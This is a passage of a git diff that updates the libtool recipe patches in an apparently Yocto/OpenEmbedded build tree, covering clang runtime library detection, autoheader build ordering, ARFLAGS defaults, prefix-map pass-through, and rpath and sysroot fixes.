+++ b/meta/recipes-devtools/libtool/libtool/0008-libtool-Check-for-static-libs-for-internal-compiler-.patch
@@ -0,0 +1,38 @@
+From b9993338080325a6e2b2ec94ca0ece80e7fa3fb6 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Sat, 26 Jan 2019 12:54:26 -0800
+Subject: [PATCH 08/12] libtool: Check for static libs for internal compiler libraries
+
+Libtool checks only for libraries linked as -l* when trying to
+find internal compiler libraries. Clang, however uses the absolute
+path to link its internal libraries e.g. compiler_rt. This patch
+handles clang's statically linked libraries when finding internal
+compiler libraries.
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+https://crbug.com/749263
+https://debbugs.gnu.org/cgi/bugreport.cgi?bug=27866
+
+Upstream-Status: Submitted [https://lists.gnu.org/archive/html/libtool-patches/2021-10/msg00016.html]
+---
+ m4/libtool.m4 | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/m4/libtool.m4 b/m4/libtool.m4
+index d0389a0..9619c57 100644
+--- a/m4/libtool.m4
++++ b/m4/libtool.m4
+@@ -7536,7 +7536,7 @@ if AC_TRY_EVAL(ac_compile); then
+ for p in `eval "$output_verbose_link_cmd"`; do
+ case $prev$p in
+
+- -L* | -R* | -l*)
++ -L* | -R* | -l* | */libclang_rt.*.a)
+ # Some compilers place space between "-{L,R}" and the path.
+ # Remove the space.
+ if test x-L = "$p" ||
+--
+2.20.1
+
diff --git a/meta/recipes-devtools/libtool/libtool/0009-Makefile.am-make-sure-autoheader-run-before-autoconf.patch b/meta/recipes-devtools/libtool/libtool/0009-Makefile.am-make-sure-autoheader-run-before-autoconf.patch
new file mode 100644
index 0000000000..348cd3c1ae
--- /dev/null
+++ b/meta/recipes-devtools/libtool/libtool/0009-Makefile.am-make-sure-autoheader-run-before-autoconf.patch
@@ -0,0 +1,35 @@
+From: Mingli Yu <mingli.yu@windriver.com>
+Subject: [PATCH 09/12] Makefile.am: make sure autoheader run before autoconf
+
+autoheader will update ../libtool-2.4.6/libltdl/config-h.in which
+autoconf needs, so there comes a race sometimes as below:
+ | configure.ac:45: error: required file 'config-h.in' not found
+ | touch '../libtool-2.4.6/libltdl/config-h.in'
+
+So make sure autoheader run before autoconf to avoid this race.
+
+Signed-off-by: Mingli Yu <mingli.yu@windriver.com>
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Upstream-Status: Submitted [https://lists.gnu.org/archive/html/libtool-patches/2021-10/msg00015.html]
+
+---
+ Makefile.am | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/Makefile.am b/Makefile.am
+index 4142c90..fe1a9fc 100644
+--- a/Makefile.am
++++ b/Makefile.am
+@@ -365,7 +365,7 @@ lt_configure_deps = $(lt_aclocal_m4) $(lt_aclocal_m4_deps)
+ $(lt_aclocal_m4): $(lt_aclocal_m4_deps)
+ $(AM_V_GEN)cd '$(srcdir)/$(ltdl_dir)' && $(ACLOCAL) -I ../m4
+
+-$(lt_configure): $(lt_configure_deps)
++$(lt_configure): $(lt_configure_deps) $(lt_config_h_in)
+ $(AM_V_GEN)cd '$(srcdir)/$(ltdl_dir)' && $(AUTOCONF)
+
+ $(lt_config_h_in): $(lt_configure_deps)
+--
+2.29.2
+
diff --git a/meta/recipes-devtools/libtool/libtool/0010-Makefile.am-make-sure-autoheader-run-before-automake.patch b/meta/recipes-devtools/libtool/libtool/0010-Makefile.am-make-sure-autoheader-run-before-automake.patch
new file mode 100644
index 0000000000..cd963ef1be
--- /dev/null
+++ b/meta/recipes-devtools/libtool/libtool/0010-Makefile.am-make-sure-autoheader-run-before-automake.patch
@@ -0,0 +1,36 @@
+From: Mingli Yu <mingli.yu@windriver.com>
+Subject: [PATCH 10/12] Makefile.am: make sure autoheader run before automake
+
+When use automake to generate Makefile.in from Makefile.am, there
+comes below race:
+ | configure.ac:45: error: required file 'config-h.in' not found
+
+It is because the file config-h.in in updating process by autoheader,
+so make automake run after autoheader to avoid the above race.
+
+Signed-off-by: Mingli Yu <mingli.yu@windriver.com>
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Upstream-Status: Submitted [https://lists.gnu.org/archive/html/libtool-patches/2021-10/msg00020.html]
+
+Signed-off-by: Mingli Yu <mingli.yu@windriver.com>
+---
+ Makefile.am | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/Makefile.am b/Makefile.am
+index 2752ecc..29950db 100644
+--- a/Makefile.am
++++ b/Makefile.am
+@@ -328,7 +328,7 @@ EXTRA_DIST += $(lt_aclocal_m4) \
+ $(lt_obsolete_m4) \
+ $(stamp_mk)
+
+-$(lt_Makefile_in): $(lt_Makefile_am) $(lt_aclocal_m4)
++$(lt_Makefile_in): $(lt_Makefile_am) $(lt_aclocal_m4) $(lt_config_h_in)
+ $(AM_V_GEN)cd '$(srcdir)/$(ltdl_dir)' && $(AUTOMAKE) Makefile
+
+ # Don't let unused scripts leak into the libltdl Makefile
+--
+2.29.2
+
diff --git a/meta/recipes-devtools/libtool/libtool/0011-ltmain.in-Handle-prefix-map-compiler-options-correct.patch b/meta/recipes-devtools/libtool/libtool/0011-ltmain.in-Handle-prefix-map-compiler-options-correct.patch
new file mode 100644
index 0000000000..b121a3c750
--- /dev/null
+++ b/meta/recipes-devtools/libtool/libtool/0011-ltmain.in-Handle-prefix-map-compiler-options-correct.patch
@@ -0,0 +1,26 @@
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Subject: [PATCH 11/12] ltmain.in: Handle prefix-map compiler options correctly
+
+If lto is enabled, we need the prefix-map variables to be passed to the linker.
+Add these to the list of options libtool passes through.
+
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Upstream-Status: Submitted [https://lists.gnu.org/archive/html/libtool-patches/2021-10/msg00019.html]
+
+Index: libtool-2.4.6/build-aux/ltmain.in
+===================================================================
+--- libtool-2.4.6.orig/build-aux/ltmain.in
++++ libtool-2.4.6/build-aux/ltmain.in
+@@ -5424,9 +5424,10 @@ func_mode_link ()
+ # --sysroot=* for sysroot support
+ # -O*, -g*, -flto*, -fwhopr*, -fuse-linker-plugin GCC link-time optimization
+ # -stdlib=* select c++ std lib with clang
++ # -f*-prefix-map* needed for lto linking
+ -64|-mips[0-9]|-r[0-9][0-9]*|-xarch=*|-xtarget=*|+DA*|+DD*|-q*|-m*| \
+ -t[45]*|-txscale*|-p|-pg|--coverage|-fprofile-*|-F*|@*|-tp=*|--sysroot=*| \
+- -O*|-g*|-flto*|-fwhopr*|-fuse-linker-plugin|-fstack-protector*|-stdlib=*)
++ -O*|-g*|-flto*|-fwhopr*|-fuse-linker-plugin|-fstack-protector*|-stdlib=*|-f*-prefix-map*)
+ func_quote_for_eval "$arg"
+ arg=$func_quote_for_eval_result
+ func_append compile_command " $arg"
diff --git a/meta/recipes-devtools/libtool/libtool/0012-libtool.m4-For-reproducibility-stop-encoding-hostnam.patch b/meta/recipes-devtools/libtool/libtool/0012-libtool.m4-For-reproducibility-stop-encoding-hostnam.patch
new file mode 100644
index 0000000000..64f911d46c
--- /dev/null
+++ b/meta/recipes-devtools/libtool/libtool/0012-libtool.m4-For-reproducibility-stop-encoding-hostnam.patch
@@ -0,0 +1,27 @@
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Subject: [PATCH 12/12] libtool.m4: For reproducibility stop encoding hostname in libtool script
+
+For reproducibilty, stop encoding the hostname into the libtool script, this isn't
+really adding much to debugging and most distros are carrying such a patch now as
+reproducibility is important.
+
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+https://sources.debian.org/data/main/libt/libtool/2.4.6-10/debian/patches/
+ no_hostname.patch
+
+Upstream-Status: Submitted [https://lists.gnu.org/archive/html/libtool-patches/2021-10/msg00011.html]
+
+---
+Index: libtool-2.4.6/m4/libtool.m4
+===================================================================
+--- libtool-2.4.6.orig/m4/libtool.m4
++++ libtool-2.4.6/m4/libtool.m4
+@@ -728,7 +728,6 @@ _LT_CONFIG_SAVE_COMMANDS([
+ cat <<_LT_EOF >> "$cfgfile"
+ #! $SHELL
+ # Generated automatically by $as_me ($PACKAGE) $VERSION
+-# Libtool was configured on host `(hostname || uname -n) 2>/dev/null | sed 1q`:
+ # NOTE: Changes made to this file will be lost: look at ltmain.sh.
+
+ # Provide generalized library-building support services.
diff --git a/meta/recipes-devtools/libtool/libtool/ARFLAGS-use-cr-instead-of-cru-by-default.patch b/meta/recipes-devtools/libtool/libtool/ARFLAGS-use-cr-instead-of-cru-by-default.patch
new file mode 100644
index 0000000000..447640cef6
--- /dev/null
+++ b/meta/recipes-devtools/libtool/libtool/ARFLAGS-use-cr-instead-of-cru-by-default.patch
@@ -0,0 +1,133 @@
+From 418129bc63afc312701e84cb8afa5ca413df1ab5 Mon Sep 17 00:00:00 2001
+From: Pavel Raiskup <praiskup@redhat.com>
+Date: Fri, 17 Apr 2015 16:54:58 +0200
+Subject: ARFLAGS: use 'cr' instead of 'cru' by default
+
+In some GNU/Linux distributions people started to compile 'ar'
+binary with --enable-deterministic-archives (binutils project).
+That, however, in combination with our previous long time working
+default AR_FLAGS=cru causes warnings on such installations:
+ar: `u' modifier ignored since `D' is the default (see `U')
+
+The 'u' option (at least with GNU binutils) did small optimization
+during repeated builds because it instructed 'ar' to not
+open/close unchanged *.o files and to rather read their contents
+from old archive file. However, its removal should not cause a
+big performance hit for usual workflows.
+
+Distributions started using --enable-deterministic-archives
+knowing that it would disable the 'u', just to rather have a bit
+more deterministic builds.
+
+Also, to justify this change a bit more, keeping 'u' in ARFLAGS
+could only result in many per-project changes to override
+Libtool's ARFLAGS default, just to silent such warnings.
+
+Fixes bug#19967. Reported by Eric Blake.
+
+* m4/libtool.m4 (_LT_PROG_AR): Default AR_FLAGS to 'cr'.
+(_LT_REQUIRED_DARWIN_CHECKS): Use $AR_FLAGS instead 'cru' string.
+* doc/libtool.texi: Do 's/ar cru/ar cr/' in whole documentation.
+* NEWS: Document.
+
+Upstream-Status: Backport [https://git.savannah.gnu.org/cgit/libtool.git/commit/?id=418129bc63afc312701e84cb8afa5ca413df1ab5]
+
+Signed-off-by: Li Wang <li.wang@windriver.com>
+Signed-off-by: Changqing Li <changqing.li@windriver.com>
+---
+ NEWS | 4 ++++
+ doc/libtool.texi | 10 +++++-----
+ m4/libtool.m4 | 6 +++---
+ 3 files changed, 12 insertions(+), 8 deletions(-)
+
+diff --git a/NEWS b/NEWS
+index 71a932d..1518f09 100644
+--- a/NEWS
++++ b/NEWS
+@@ -13,6 +13,10 @@ NEWS - list of user-visible changes between releases of GNU Libtool
+ variable, which obsoletes AR_FLAGS. This is due to naming conventions
+ among other *FLAGS and to be consistent with Automake's ARFLAGS.
+
++** Important incompatible changes:
++
++ - Libtool changed ARFLAGS/AR_FLAGS default from 'cru' to 'cr'.
++
+ ** Bug fixes:
+
+ - Fix a race condition in ltdl dryrun test that would cause spurious
+diff --git a/doc/libtool.texi b/doc/libtool.texi
+index 0298627..4c664bb 100644
+--- a/doc/libtool.texi
++++ b/doc/libtool.texi
+@@ -602,7 +602,7 @@ Without libtool, the programmer would invoke the @command{ar} command to
+ create a static library:
+
+ @example
+-burger$ @kbd{ar cru libhello.a hello.o foo.o}
++burger$ @kbd{ar cr libhello.a hello.o foo.o}
+ burger$
+ @end example
+
+@@ -632,7 +632,7 @@ libtool are the same ones you would use to produce an executable named
+ a23$ @kbd{libtool --mode=link gcc -g -O -o libhello.la foo.o hello.o}
+ *** Warning: Linking the shared library libhello.la against the
+ *** non-libtool objects foo.o hello.o is not portable!
+-ar cru .libs/libhello.a
++ar cr .libs/libhello.a
+ ranlib .libs/libhello.a
+ creating libhello.la
+ (cd .libs && rm -f libhello.la && ln -s ../libhello.la libhello.la)
+@@ -662,7 +662,7 @@ archive, not a shared library (@pxref{Static libraries}).}:
+ @example
+ a23$ @kbd{libtool --mode=link gcc -g -O -o libhello.la foo.lo hello.lo \
+ -rpath /usr/local/lib -lm}
+-ar cru @value{objdir}/libhello.a foo.o hello.o
++ar cr @value{objdir}/libhello.a foo.o hello.o
+ ranlib @value{objdir}/libhello.a
+ creating libhello.la
+ (cd @value{objdir} && rm -f libhello.la && ln -s ../libhello.la libhello.la)
+@@ -676,7 +676,7 @@ burger$ @kbd{libtool --mode=link gcc -g -O -o libhello.la foo.lo hello.lo \
+ -rpath /usr/local/lib -lm}
+ rm -fr @value{objdir}/libhello.a @value{objdir}/libhello.la
+ ld -Bshareable -o @value{objdir}/libhello.so.0.0 @value{objdir}/foo.o @value{objdir}/hello.o -lm
+-ar cru @value{objdir}/libhello.a foo.o hello.o
++ar cr @value{objdir}/libhello.a foo.o hello.o
+ ranlib @value{objdir}/libhello.a
+ creating libhello.la
+ (cd @value{objdir} && rm -f libhello.la && ln -s ../libhello.la libhello.la)
+@@ -6001,7 +6001,7 @@ in cases where it is necessary.
+ @subsection Archivers
+
+ On all known systems, building a static library can be accomplished by
+-running @kbd{ar cru lib@var{name}.a @var{obj1}.o @var{obj2}.o @dots{}},
++running @kbd{ar cr lib@var{name}.a @var{obj1}.o @var{obj2}.o @dots{}},
+ where the @file{.a} file is the output library, and each @file{.o} file is an
+ object file.
+
+diff --git a/m4/libtool.m4 b/m4/libtool.m4
+index 6514196..add06ee 100644
+--- a/m4/libtool.m4
++++ b/m4/libtool.m4
+@@ -1041,8 +1041,8 @@ int forced_loaded() { return 2;}
+ _LT_EOF
+ echo "$LTCC $LTCFLAGS -c -o conftest.o conftest.c" >&AS_MESSAGE_LOG_FD
+ $LTCC $LTCFLAGS -c -o conftest.o conftest.c 2>&AS_MESSAGE_LOG_FD
+- echo "$AR cru libconftest.a conftest.o" >&AS_MESSAGE_LOG_FD
+- $AR cru libconftest.a conftest.o 2>&AS_MESSAGE_LOG_FD
++ echo "$AR $AR_FLAGS libconftest.a conftest.o" >&AS_MESSAGE_LOG_FD
++ $AR $AR_FLAGS libconftest.a conftest.o 2>&AS_MESSAGE_LOG_FD
+ echo "$RANLIB libconftest.a" >&AS_MESSAGE_LOG_FD
+ $RANLIB libconftest.a 2>&AS_MESSAGE_LOG_FD
+ cat > conftest.c << _LT_EOF
+@@ -1505,7 +1505,7 @@ _LT_DECL([], [AR], [1], [The archiver])
+ # ARFLAGS for automake and AR_FLAGS for libtool). FIXME: Make the AR_FLAGS
+ # variable obsoleted/removed.
+
+-test ${AR_FLAGS+y} || AR_FLAGS=${ARFLAGS-cru}
++test ${AR_FLAGS+y} || AR_FLAGS=${ARFLAGS-cr}
+ lt_ar_flags=$AR_FLAGS
+ _LT_DECL([], [lt_ar_flags], [0], [Flags to create an archive (by configure)])
+
+--
+2.23.0
+
diff --git a/meta/recipes-devtools/libtool/libtool/debian-no_hostname.patch b/meta/recipes-devtools/libtool/libtool/debian-no_hostname.patch
deleted file mode 100755
index 5add0cca3b..0000000000
--- a/meta/recipes-devtools/libtool/libtool/debian-no_hostname.patch
+++ /dev/null
@@ -1,21 +0,0 @@
-libtool: remove host specific info from header file
-
-https://sources.debian.org/data/main/libt/libtool/2.4.6-10/debian/patches/
- no_hostname.patch
-
-Upstream-Status: Inappropriate [not author]
-Signed-off-by: Joe Slater <joe.slater@windriver.com>
-
----
-Index: libtool-2.4.6/m4/libtool.m4
-===================================================================
---- libtool-2.4.6.orig/m4/libtool.m4
-+++ libtool-2.4.6/m4/libtool.m4
-@@ -728,7 +728,6 @@ _LT_CONFIG_SAVE_COMMANDS([
- cat <<_LT_EOF >> "$cfgfile"
- #! $SHELL
- # Generated automatically by $as_me ($PACKAGE) $VERSION
--# Libtool was configured on host `(hostname || uname -n) 2>/dev/null | sed 1q`:
- # NOTE: Changes made to this file will be lost: look at ltmain.sh.
-
- # Provide generalized library-building support services.
diff --git a/meta/recipes-devtools/libtool/libtool/fix-final-rpath.patch b/meta/recipes-devtools/libtool/libtool/fix-final-rpath.patch
deleted file mode 100644
index 5c9f8cc9c0..0000000000
--- a/meta/recipes-devtools/libtool/libtool/fix-final-rpath.patch
+++ /dev/null
@@ -1,50 +0,0 @@
-Upstream-Status: Inappropriate [embedded specific]
-
-Enalbing sysroot support exposed a bug where the final library
-had an RPATH encoded into it which still pointed to the sysroot.
-This works around the issue until it gets sorted out upstream.
-
-Fix suggested by Richard Purdie <richard.purdie@intel.com>
-Signed-off-by: Scott Garman <scott.a.garman@intel.com>
-Signed-off-by: Randy Witt <randy.e.witt@linux.intel.com>
-Updated by: Robert Yang <liezhi.yang@windriver.com>
-
-diff --git a/build-aux/ltmain.in b/build-aux/ltmain.in
---- a/build-aux/ltmain.in
-+++ b/build-aux/ltmain.in
-@@ -7569,9 +7569,11 @@ EOF
- test relink = "$opt_mode" || rpath=$compile_rpath$rpath
- for libdir in $rpath; do
- if test -n "$hardcode_libdir_flag_spec"; then
-+ func_replace_sysroot "$libdir"
-+ libdir=$func_replace_sysroot_result
-+ func_stripname '=' '' "$libdir"
-+ libdir=$func_stripname_result
- if test -n "$hardcode_libdir_separator"; then
-- func_replace_sysroot "$libdir"
-- libdir=$func_replace_sysroot_result
- if test -z "$hardcode_libdirs"; then
- hardcode_libdirs=$libdir
- else
-@@ -8301,6 +8303,10 @@ EOF
- hardcode_libdirs=
- for libdir in $compile_rpath $finalize_rpath; do
- if test -n "$hardcode_libdir_flag_spec"; then
-+ func_replace_sysroot "$libdir"
-+ libdir=$func_replace_sysroot_result
-+ func_stripname '=' '' "$libdir"
-+ libdir=$func_stripname_result
- if test -n "$hardcode_libdir_separator"; then
- if test -z "$hardcode_libdirs"; then
- hardcode_libdirs=$libdir
-@@ -8352,6 +8358,10 @@ EOF
- hardcode_libdirs=
- for libdir in $finalize_rpath; do
- if test -n "$hardcode_libdir_flag_spec"; then
-+ func_replace_sysroot "$libdir"
-+ libdir=$func_replace_sysroot_result
-+ func_stripname '=' '' "$libdir"
-+ libdir=$func_stripname_result
- if test -n "$hardcode_libdir_separator"; then
- if test -z "$hardcode_libdirs"; then
- hardcode_libdirs=$libdir
diff --git a/meta/recipes-devtools/libtool/libtool/fix-resolve-lt-sysroot.patch b/meta/recipes-devtools/libtool/libtool/fix-resolve-lt-sysroot.patch
deleted file mode 100644
index 1bd95980c0..0000000000
--- a/meta/recipes-devtools/libtool/libtool/fix-resolve-lt-sysroot.patch
+++ /dev/null
@@ -1,42 +0,0 @@
-Upstream-Status: Pending
-
-This patch updates libtool.m4 (and its output) to resolve a problem
-with variable 'lt_sysroot' not being properly updated if the option
-'--with[-libtool]-sysroot' is not provided when running the 'configure'
-script for a package.
-
-I have also reported the problem to libtool here
-
-http://lists.gnu.org/archive/html/bug-libtool/2013-09/msg00005.html
-
-Signed-off-by: Hans Beckerus <hans.beckerus at gmail.com>
-Updated by: Robert Yang <liezhi.yang@windriver.com>
----
-diff --git a/m4/libtool.m4 b/m4/libtool.m4
---- a/m4/libtool.m4
-+++ b/m4/libtool.m4
-@@ -1225,16 +1225,21 @@ dnl lt_sysroot will always be passed unquoted. We quote it here
- dnl in case the user passed a directory name.
- lt_sysroot=
- case $with_libtool_sysroot in #(
-- yes)
-+ no)
- if test yes = "$GCC"; then
- lt_sysroot=`$CC --print-sysroot 2>/dev/null`
-+ # Treat "/" the same a an unset sysroot. It seems to be more
-+ # compatible across host platforms that way!?
-+ if test "$lt_sysroot" = /; then
-+ lt_sysroot=
-+ fi
- fi
- ;; #(
-+ yes|''|/)
-+ ;; #(
- /*)
- lt_sysroot=`echo "$with_libtool_sysroot" | sed -e "$sed_quote_subst"`
- ;; #(
-- no|'')
-- ;; #(
- *)
- AC_MSG_RESULT([$with_libtool_sysroot])
- AC_MSG_ERROR([The sysroot must be an absolute path.])
diff --git a/meta/recipes-devtools/libtool/libtool/fix-rpath.patch b/meta/recipes-devtools/libtool/libtool/fix-rpath.patch
deleted file mode 100644
index a2ec9473e7..0000000000
--- a/meta/recipes-devtools/libtool/libtool/fix-rpath.patch
+++ /dev/null
@@ -1,65 +0,0 @@
-We don't want to add RPATHS which match default linker
-search paths, they're a waste of space. This patch
-filters libtools list and removes the ones we don't need.
-
-RP 23/9/2011
-
-Upstream-Status: Pending
-
-Updated by: Robert Yang <liezhi.yang@windriver.com>
-
-Index: libtool-2.4.2/build-aux/ltmain.in
-===================================================================
---- libtool-2.4.2.orig/build-aux/ltmain.in
-+++ libtool-2.4.2/build-aux/ltmain.in
-@@ -7286,8 +7286,14 @@ EOF
- esac
- fi
- else
-- eval flag=\"$hardcode_libdir_flag_spec\"
-- func_append dep_rpath " $flag"
-+ # We only want to hardcode in an rpath if it isn't in the
-+ # default dlsearch path.
-+ case " $sys_lib_dlsearch_path " in
-+ *" $libdir "*) ;;
-+ *) eval flag=\"$hardcode_libdir_flag_spec\"
-+ func_append dep_rpath " $flag"
-+ ;;
-+ esac
- fi
- elif test -n "$runpath_var"; then
- case "$perm_rpath " in
-@@ -8019,8 +8025,14 @@ EOF
- esac
- fi
- else
-- eval flag=\"$hardcode_libdir_flag_spec\"
-- func_append rpath " $flag"
-+ # We only want to hardcode in an rpath if it isn't in the
-+ # default dlsearch path.
-+ case " $sys_lib_dlsearch_path " in
-+ *" $libdir "*) ;;
-+ *) eval flag=\"$hardcode_libdir_flag_spec\"
-+ rpath+=" $flag"
-+ ;;
-+ esac
- fi
- elif test -n "$runpath_var"; then
- case "$perm_rpath " in
-@@ -8070,8 +8082,14 @@ EOF
- esac
- fi
- else
-- eval flag=\"$hardcode_libdir_flag_spec\"
-- func_append rpath " $flag"
-+ # We only want to hardcode in an rpath if it isn't in the
-+ # default dlsearch path.
-+ case " $sys_lib_dlsearch_path " in
-+ *" $libdir "*) ;;
-+ *) eval flag=\"$hardcode_libdir_flag_spec\"
-+ func_append rpath " $flag"
-+ ;;
-+ esac
- fi
- elif test -n "$runpath_var"; then
- case "$finalize_perm_rpath " in
diff --git a/meta/recipes-devtools/libtool/libtool/fixinstall.patch b/meta/recipes-devtools/libtool/libtool/fixinstall.patch
index 8f343bf436..48330d82fb 100644
--- a/meta/recipes-devtools/libtool/libtool/fixinstall.patch
+++ b/meta/recipes-devtools/libtool/libtool/fixinstall.patch
@@ -27,9 +27,9 @@ diff --git a/build-aux/ltmain.in b/build-aux/ltmain.in
- if test -n "$relink_command"; then
+ if test "$fast_install" = no && test -n "$relink_command"; then
- # Strip any trailing slash from the destination.
- func_stripname '' '/' "$libdir"
- destlibdir=$func_stripname_result
+ # Strip any trailing slash from the destination.
+ func_stripname '' '/' "$libdir"
+ destlibdir=$func_stripname_result
@@ -2394,7 +2394,7 @@ func_mode_install ()
shift
diff --git a/meta/recipes-devtools/libtool/libtool/libool.m4-add-ARFLAGS-variable.patch b/meta/recipes-devtools/libtool/libtool/libool.m4-add-ARFLAGS-variable.patch
new file mode 100644
index 0000000000..bb11887cda
--- /dev/null
+++ b/meta/recipes-devtools/libtool/libtool/libool.m4-add-ARFLAGS-variable.patch
@@ -0,0 +1,77 @@
+From 4335de1dfb7d2ec728427e07a54136b94a2d40f6 Mon Sep 17 00:00:00 2001
+From: Pavel Raiskup <praiskup@redhat.com>
+Date: Fri, 17 Apr 2015 15:05:42 +0200
+Subject: libool.m4: add ARFLAGS variable
+
+Libtool has used $AR_FLAGS since 2000-05-29 commit
+8300de4c54e6f04f0d, Automake ARFLAGS since 2003-04-06 commit
+a71b3490639831ca. Even though ARFLAGS is younger, it sounds like
+better name according GNU Coding Standards.
+
+Related to bug#20082.
+
+* m4/libtool.m4 (_LT_PROG_AR): Copy ARFLAGS value into AR_FLAGS
+variable if AR_FLAGS is not set. Add new _LT_DECL'ed variable
+'lt_ar_flags' to keep the configure-time value of AR_FLAGS. The
+new 'lt_ar_flags' is to be used as the default value for AR_FLAGS
+at libtool-runtime.
+* NEWS: Document.
+
+Upstream-Status: Backport [https://git.savannah.gnu.org/cgit/libtool.git/commit/?id=4335de1dfb7d2ec728427e07a54136b94a2d40f6]
+
+Signed-off-by: Li Wang <li.wang@windriver.com>
+Signed-off-by: Changqing Li <changqing.li@windriver.com>
+---
+ NEWS | 6 ++++++
+ m4/libtool.m4 | 17 +++++++++++++++--
+ 2 files changed, 21 insertions(+), 2 deletions(-)
+
+diff --git a/NEWS b/NEWS
+index d7ca434..71a932d 100644
+--- a/NEWS
++++ b/NEWS
+@@ -7,6 +7,12 @@ NEWS - list of user-visible changes between releases of GNU Libtool
+ - LT_SYS_LIBRARY_PATH can be set in config.site, or at configure time
+ and persists correctly in the generated libtool script.
+
++** New features:
++
++ - Libtool script now supports (configure-time and runtime) ARFLAGS
++ variable, which obsoletes AR_FLAGS. This is due to naming conventions
++ among other *FLAGS and to be consistent with Automake's ARFLAGS.
++
+ ** Bug fixes:
+
+ - Fix a race condition in ltdl dryrun test that would cause spurious
+diff --git a/m4/libtool.m4 b/m4/libtool.m4
+index 63acd09..6514196 100644
+--- a/m4/libtool.m4
++++ b/m4/libtool.m4
+@@ -1497,9 +1497,22 @@ need_locks=$enable_libtool_lock
+ m4_defun([_LT_PROG_AR],
+ [AC_CHECK_TOOLS(AR, [ar], false)
+ : ${AR=ar}
+-: ${AR_FLAGS=cru}
+ _LT_DECL([], [AR], [1], [The archiver])
+-_LT_DECL([], [AR_FLAGS], [1], [Flags to create an archive])
++
++# Use ARFLAGS variable as AR's operation code to sync the variable naming with
++# Automake. If both AR_FLAGS and ARFLAGS are specified, AR_FLAGS should have
++# higher priority because thats what people were doing historically (setting
++# ARFLAGS for automake and AR_FLAGS for libtool). FIXME: Make the AR_FLAGS
++# variable obsoleted/removed.
++
++test ${AR_FLAGS+y} || AR_FLAGS=${ARFLAGS-cru}
++lt_ar_flags=$AR_FLAGS
++_LT_DECL([], [lt_ar_flags], [0], [Flags to create an archive (by configure)])
++
++# Make AR_FLAGS overridable by 'make ARFLAGS='. Don't try to run-time override
++# by AR_FLAGS because that was never working and AR_FLAGS is about to die.
++_LT_DECL([], [AR_FLAGS], [\@S|@{ARFLAGS-"\@S|@lt_ar_flags"}],
++ [Flags to create an archive])
+
+ AC_CACHE_CHECK([for archiver @FILE support], [lt_cv_ar_at_file],
+ [lt_cv_ar_at_file=no
+--
+2.23.0
+
diff --git a/meta/recipes-devtools/libtool/libtool/norm-rpath.patch b/meta/recipes-devtools/libtool/libtool/norm-rpath.patch
deleted file mode 100644
index 1e4c65e024..0000000000
--- a/meta/recipes-devtools/libtool/libtool/norm-rpath.patch
+++ /dev/null
@@ -1,38 +0,0 @@
-libtool: normalize link paths before considering for RPATH
-
-Libtool may be passed link paths of the form "/usr/lib/../lib", which
-fool its detection code into thinking it should be included as an
-RPATH in the generated binary. Normalize before comparision.
-
-Signed-off-by: Andy Ross <andy.ross@windriver.com>
-Upstream-Status: Pending
-
-Updated by: Robert Yang <liezhi.yang@windriver.com>
-
-diff -ur a/build-aux/ltmain.in b/build-aux/ltmain.in
---- a/build-aux/ltmain.in 2012-08-16 13:58:55.058900363 -0700
-+++ b/build-aux/ltmain.in 2012-08-22 11:01:34.191345989 -0700
-@@ -7288,8 +7288,10 @@
- else
- # We only want to hardcode in an rpath if it isn't in the
- # default dlsearch path.
-+ func_normal_abspath "$libdir"
-+ libdir_norm=$func_normal_abspath_result
- case " $sys_lib_dlsearch_path " in
-- *" $libdir "*) ;;
-+ *" $libdir_norm "*) ;;
- *) eval flag=\"$hardcode_libdir_flag_spec\"
- func_append dep_rpath " $flag"
- ;;
-@@ -8027,8 +8029,10 @@
- else
- # We only want to hardcode in an rpath if it isn't in the
- # default dlsearch path.
-+ func_normal_abspath "$libdir"
-+ libdir_norm=$func_normal_abspath_result
- case " $sys_lib_dlsearch_path " in
-- *" $libdir "*) ;;
-+ *" $libdir_norm "*) ;;
- *) eval flag=\"$hardcode_libdir_flag_spec\"
- rpath+=" $flag"
- ;;
diff --git a/meta/recipes-devtools/libtool/libtool/prefix.patch b/meta/recipes-devtools/libtool/libtool/prefix.patch
deleted file mode 100644
index a73df2e4a7..0000000000
--- a/meta/recipes-devtools/libtool/libtool/prefix.patch
+++ /dev/null
@@ -1,98 +0,0 @@
-Upstream-Status: Inappropriate [embedded specific]
-
-Renames "libtool" -> "${TARGET_PREFIX}libtool" which makes sure
-it can't be confused with the host libtool.
-
-Originally by: RP
-
-Updated: Date: 2010/06/28
-Nitin A Kamble <nitin.a.kamble@intel.com>
-
-It also adjusts libtool so that the header at the script is used for
-script execution and not thevalue of $SHELL. This is because many
-Makefiles change $SHELL so dash can get used to execute what is
-otherwise configured as a bash shell script. Since we don't need to
-execute scipts this way on any system I'm aware of us building upon,
-the simplest fix is just to remove $SHELL.
-
-Updated: Date: 2011/11/09
-RP
-
-Updated by: Robert Yang <liezhi.yang@windriver.com>
-
-diff --git a/Makefile.am b/Makefile.am
---- a/Makefile.am
-+++ b/Makefile.am
-@@ -31,7 +31,7 @@ SUBDIRS = .
- DIST_SUBDIRS = $(SUBDIRS)
- EXTRA_DIST =
-
--BUILT_SOURCES = libtool libtoolize
-+BUILT_SOURCES = $(host_alias)-libtool libtoolize
-
- CLEANFILES =
- MOSTLYCLEANFILES =
-@@ -67,7 +67,7 @@ build_scripts = $(srcdir)/$(aux_dir)/announce-gen \
-
- EXTRA_DIST += bootstrap bootstrap.conf $(build_scripts) cfg.mk maint.mk \
- GNUmakefile
--CLEANFILES += libtool libtoolize
-+CLEANFILES += $(host_alias)-libtool libtoolize
-
- ## If a file is named several times below, and especially if it
- ## is a distributed file created during Libtool bootstrap, we
-@@ -276,7 +276,7 @@ configure_edit = $(bootstrap_edit) \
- -e 's|@srcdir\@|$(srcdir)|g'
-
- # The libtool distributor and the standalone libtool script.
--bin_SCRIPTS = libtool
